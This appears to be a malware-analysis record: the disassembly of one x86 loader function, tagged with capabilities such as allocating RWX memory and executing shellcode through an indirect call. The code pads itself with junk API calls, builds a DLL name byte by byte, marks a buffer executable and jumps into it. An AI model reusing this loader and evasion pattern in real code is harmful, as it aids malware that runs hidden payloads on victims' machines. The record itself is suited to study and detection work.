Function at 0x4011ac
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get disk information
Get geographical location
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040af50
push ebx
push esi
xor ebx, ebx
cmp dword [0x2d2b034], 0x93
push edi
jne 0x40121c
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push ebx
lea eax, [ebp - 0x410]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_FindExecutableA]
push ebx
call fcn.00401814
push ebx
push 0x4286cf
push 0x430c50
call fcn.004018c6
push ebx
call fcn.00401af8
push ebx
push ebx
call fcn.00401b27
add esp, 0x1c
call fcn.0040119e
push ebx
call fcn.00401eac
pop ecx
add dword [0x2d2b034], 0x1134b
push dword [0x2d2b034]
mov eax, dword [0x42ef20]
push ebx
mov dword [0x2d2ba98], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2d2b034]
mov dword [0x2d2af8c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov edi, 0x29156e
push ebx
lea eax, [ebp - 0x1010]
push eax
call esi
dec edi
jne 0x401260
cmp dword [0x2d2b034], ebx
jbe 0x4012b9
mov eax, dword [0x2d2ba98]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2d2af8c]
mov byte [ecx + edi], al
cmp dword [0x2d2b034], 0x490
jne 0x4012b0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc edi
cmp edi, dword [0x2d2b034]
jb 0x401275
xor edi, edi
mov eax, dword [0x2d2b034]
add eax, edi
cmp eax, 0x8d
jne 0x401325
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x810]
push eax
push str.pehipayafenopidibegesilalacow_zemikamajimara_nikihilenareki_xesadaviheralizilivehoxutegugek_malejiyaliv
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push str.tiyamiwojemuya_vibahuzivacenewojuhiharomexufut_dabotay_lafibulebabumuligavolav
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
inc edi
cmp edi, 0x38681
jl 0x4012bb
mov eax, dword [0x2d2b034]
mov ecx, dword [0x2d2af8c]
shr eax, 3
cmp eax, ebx
jbe 0x401373
mov esi, ecx
mov edi, eax
cmp dword [0x2d2b034], 0x959
jne 0x401367
push ebx
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x401344
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x401394
mov dword [ebp - 8], ebx
add dword [ebp - 8], 0x6179
mov eax, dword [ebp - 8]
add dword [0x2d2af8c], eax
inc esi
cmp esi, 0x674db
jl 0x401375
push 0x7b
pop esi
cmp dword [0x2d2b034], 0x86
jne 0x4013f1
push ebx
lea eax, [ebp - 0x810]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea eax, [ebp - 0x410]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
dec esi
jne 0x4013a0
push 0x430c50
mov byte [0x430c59], 0x6c
mov byte [0x430c53], 0x6d
mov byte [0x430c54], 0x67
mov byte [0x430c58], 0x64
mov byte [0x430c5b], bl
mov byte [0x430c5a], 0x6c
mov byte [0x430c57], 0x2e
mov byte [0x430c56], 0x32
mov byte [0x430c50], 0x6d
mov byte [0x430c52], 0x69
mov byte [0x430c55], 0x33
mov byte [0x430c51], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d2af8c]
pop edi
pop esi
pop ebx
leave
ret